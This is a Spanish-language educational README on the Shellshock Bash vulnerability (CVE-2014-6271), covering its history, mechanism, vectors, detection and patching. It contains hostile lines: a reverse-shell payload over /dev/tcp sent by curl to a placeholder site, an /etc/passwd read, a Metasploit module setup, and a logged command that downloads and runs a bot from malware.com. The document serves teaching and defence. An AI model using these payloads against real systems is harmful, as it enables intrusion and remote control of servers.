
Repositorio educativo que detalla la vulnerabilidad Shellshock (CVE-2014-6271), incluyendo análisis técnico, vectores de ataque, explotación de prueba de concepto y pasos de mitigación para la inyección de variables de entorno de Bash.
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Remote Code Execution via Bash Environment Variable Injection
"Una falla que estuvo oculta en Bash durante décadas y sacudió los cimientos de internet en menos de 24 horas."
Shellshock (también conocido como Bashdoor) es una familia de vulnerabilidades críticas en el intérprete de comandos GNU Bash que permite a un atacante remoto ejecutar comandos arbitrarios en el sistema objetivo.
El error fundamental: Bash no detenía el análisis de una variable de entorno al finalizar la definición de una función. Cualquier código concatenado después de () { :; }; era ejecutado automáticamente.
Variable Env → Definición de función → [AQUÍ EJECUTA CÓDIGO EXTRA] ← BUG
Dado que servidores web (CGI/Apache), servicios SSH y clientes DHCP convierten headers o parámetros en variables de entorno de Bash, la superficie de ataque era masiva.
12 Sep 2014 ──── Stéphane Chazelas descubre el bug y lo reporta a Chet Ramey (mantenedor de Bash)
El bug existía en Bash desde hacía más de 20 años.
24 Sep 2014 ──── Divulgación pública + publicación del parche (CVE-2014-6271)
Horas después: botnets activas escaneando internet masivamente.
25-30 Sep 2014 ── Descubiertas vulnerabilidades relacionadas:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct 2014 ──────── Millones de ataques registrados. Comparado en severidad con Heartbleed.
| Producto | Versiones Vulnerables | Estado |
|---|---|---|
| GNU Bash | 1.0.3 – 4.3 | Parcheado |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Versiones pre-Sept 2014 | Parcheado |
| Apple macOS / OS X | 10.10 y anteriores | Parcheado (Security Update 2014-005) |
| Dispositivos IoT con Bash embebido | Múltiples | Varía según fabricante |
| Servidores web con CGI sobre Apache | Cualquier versión con Bash vulnerable | Parcheado |
Cuando Bash importa una función desde una variable de entorno, lee hasta el cierre } de la función. En versiones vulnerables, continuaba procesando el código posterior en lugar de detenerse.
# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Bash vulnerable al inicializarse:
# 1. Lee la definición de función → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd ← BUG
Atacante Servidor Apache (CGI) Bash (vulnerable)
│ │ │
│ HTTP Request │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Convierte headers a env vars │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Ejecuta cmd
│ │ │ como www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Respuesta + output del cmd │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
Resultado en sistema VULNERABLE:
VULNERABLE
this is a test
Resultado en sistema PARCHEADO:
this is a test
(o un error de sintaxis — nunca imprime "VULNERABLE")
Servidores web que usan scripts .cgi convierten los HTTP Headers en variables de entorno de Bash.
Headers afectados: User-Agent, Referer, Cookie, X-Forwarded-For, y cualquier header custom
# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'
Servidores DHCP maliciosos pueden inyectar variables de entorno en clientes que usen Bash para procesar la respuesta DHCP.
# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"
nc -lvnp 4444
# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://sitio-vulnerable.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- Nuevos archivos ejecutables en /tmp, /var/tmp, /dev/shm
- Conexiones salientes desde el servidor web a IPs desconocidas
- Modificación de /etc/crontab o /etc/passwd
- Procesos bash corriendo como www-data sin terminal
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)